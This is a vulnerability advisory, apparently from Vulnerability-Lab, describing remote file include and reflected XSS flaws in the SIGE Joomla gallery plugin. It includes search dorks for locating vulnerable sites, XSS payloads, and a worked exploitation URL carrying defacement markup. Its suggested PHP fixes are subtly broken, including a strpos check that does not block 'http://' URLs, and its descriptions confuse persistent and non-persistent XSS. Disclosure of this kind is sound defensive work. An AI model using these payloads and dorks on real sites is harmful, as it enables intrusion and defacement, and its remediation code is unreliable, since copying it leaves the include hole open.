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# Exploit Title: Joomla Plugin Simple Image Gallery Extended (SIGE) 3.5.3 - Multiple Vulnerabilities # Exploit Author: Vulnerability-Lab # Date: 2020-11-11 # Vendor Homepage: https://kubik-rubik.de/sige-simple-image-gallery-extended # Software Link: https://kubik-rubik.de/sige-simple-image-gallery-extended # Version: 3.5.3 Document Title: =============== SIGE (Joomla) 3.4.1 & 3.5.3 Pro - Multiple Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2265 Release Date: ============= 2020-11-11 Vulnerability Laboratory ID (VL-ID): ==================================== 2265 Common Vulnerability Scoring System: ==================================== 7.8 Vulnerability Class: ==================== Multiple Current Estimated Price: ======================== 2.000€ - 3.000€ Product & Service Introduction: =============================== It offers numerous opportunities to present pictures quickly and easily in articles. The unique feature of the plugin is that you can control any parameter on the syntax call. Editor Button - SIGE Parameters: With the button, you can set the parameters very easy on-the-fly in an article. It is an excellent addition to SIGE. Highlights are: parameter call, watermark function, read IPTC data, thumbnail storage, crop function, sort by modification date, output as a list, CSS Image Tooltip, Editor Button SIGE Parameter and much more. In version 1.7-2, SIGE was rewritten entirely and equipped with numerous innovations. The absolute highlight is the turbo mode. This feature doesn't exist in any other plugin for Joomla!. In Turbo Mode 2 text files are created from the HTML output of the gallery and loaded in successive runs. This feature eliminates the tedious editing process of each image. In a test with 50 large images, the creation of a gallery with all the extra features (save thumbnails, watermark generation, resize original images, etc.) without turbo mode lasted approximately 17 seconds. In turbo mode, it only took 1 second, and the gallery on the same scale was available! For calling the syntaxes, additionally, an Editor Button has been programmed. It makes it very easy to choose the required syntax, showing all the settings and parameters of the plugin. It is a great enrichment in using the SIGE plugin. (Copy of the Homepage: https://kubik-rubik.de/sige-simple-image-gallery-extended ) (Software: https://kubik-rubik.de/sige-simple-image-gallery-extended ; https://kubik-rubik.de/downloads/sige-simple-image-gallery-extended ; https://extensions.joomla.org/extension/photos-a-images/galleries/sige/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple web vulnerabilities in the Simple Image Gallery Extended (SIGE) v3.4.1 & v3.5.3 pro extension for joomla. Affected Product(s): ==================== Vendor: Product: Simple Image Gallery Extended (SIGE) v3.4.1 & v3.5.3 Pro - Joomla Extension (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-11-10: Researcher Notification & Coordination (Security Researcher) 2020-11-11: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Open Authentication (Anonymous Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ 1.1 A file include vulnerability has been discovered in the official Simple Image Gallery Extended (SIGE) v3.4.1 & v3.5.3 pro extension for joomla. The web vulnerability allows remote attackers to unauthorized upload web-shells or malicious contents to compromise the local file-system. The vulnerability is located in the img parameter of the print.php file. Remote attackers are able to upload images to the unrestricted assets path to compromise the web-applications file-system and involved database management system. Exploitation requires no user interaction and only a low privileged user account to upload images. 1.2 Multiple non-persistent cross site web vulnerabilities has been discovered in the official Simple Image Gallery Extended (SIGE) v3.4.1 & v3.5.3 pro extension for joomla. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the client-side. The non-persistent cross site scripting web vulnerabilities are located in the <code>name</code> and <code>title</code> parameters of the <code>print.php</code> file. Remote attackers without user or guest privileges are able to make own malicious special crafted links to compromise client-side GET method requests. The attack vector is non-persistent and the issue affects the client-side. Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent client-side manipulation of affected application modules. Proof of Concept (PoC): ======================= 1.1 The remote file include web vulnerability can be exploited by remote attackers without privileged user account or user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Dork(s): intext:"Powered by Simple Image Gallery Extended" intext:"Powered by Simple Image Gallery Extended - Kubik-Rubik.de" PoC: Exploitation http://[SERVER/DOMAIN]/[folders]/print.php?img=[RFI VULNERABILITY!]&name=[NAME]%20title=[TITLE] 1.2 The non-persistent cross site scripting web vulnerability can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Dork(s): intext:"Powered by Simple Image Gallery Extended" intext:"Powered by Simple Image Gallery Extended - Kubik-Rubik.de" PoC: Payload "><svg onload=alert()> '><script>alert('');</script> <IMG "'"><script>alert()</script>'> PoC: Example http://[SERVER/DOMAIN]/[folders]/print.php?img=[IMG]&name=[NON-PERSISTENT XSS]%20title=[TITLE] http://[SERVER/DOMAIN]/[folders]/print.php?img=[IMG]&name=[NAME]%20title=[NON-PERSISTENT XSS] PoC: Exploitation http://[SERVER/DOMAIN]/oldsite/plugins/content/sige/plugin_sige/print.php ?img=http://[SERVER/DOMAIN]/assets/public/js/uploading/images/h4shur/h4.gif&name=%22%3E%3Ch1%3Ehacked%20by%20h4shur%3C/h1%3E%22%20title=%22%3E%3Cscript%3Ealert(%27hacked%20by%20h4shur%27)%3C/script%3E Solution - Fix & Patch: ======================= 1.1 The remote file include vulnerability issue can be resolved by the following steps ... Example : ?php $files=array('test.gif'); if(in_array($_GET['file'], $files)){ include ($_GET['file']); } ? * If you are a server administrator, turn off allow_url_fopen from the file * Or do it with the ini_set command. Only for (RFI) ?php ini_set('allow_url_fopen ', 'Off'); ? * We can use the strpos command to check that if the address is: // http, the file will not be enclosed ?php $strpos = strpos($_GET['url'],'http://'); if(!$strpos){ include($_GET['url']); } ? * Using str_replace we can give the given address from two characters "/", "." Let's clean up ?php $url=$_GET['url']; $url = str_replace("/", "", $url); $url = str_replace(".", "", $url); include($url); ? 1.2 The client-side cross site scripting vulnerabilities can be resolved by the following steps ... 1. Encode and escape as parse the name and title parameters 2. Filter the input for special chars and disallow them in parameters Security Risk: ============== 1.1 The securit risk of the remote file include vulnerability in the img path of the web-application request is estimated as high. 1.2 The security risk of the non-persistent cross site scripting vulnerabilities is estimated as medium. Credits & Authors: ================== h4shursec - https://www.vulnerability-lab.com/show.php?user=h4shursec Twitter: @h4shur ; Telegram: @h4shur ; Instagram: @netedit0r Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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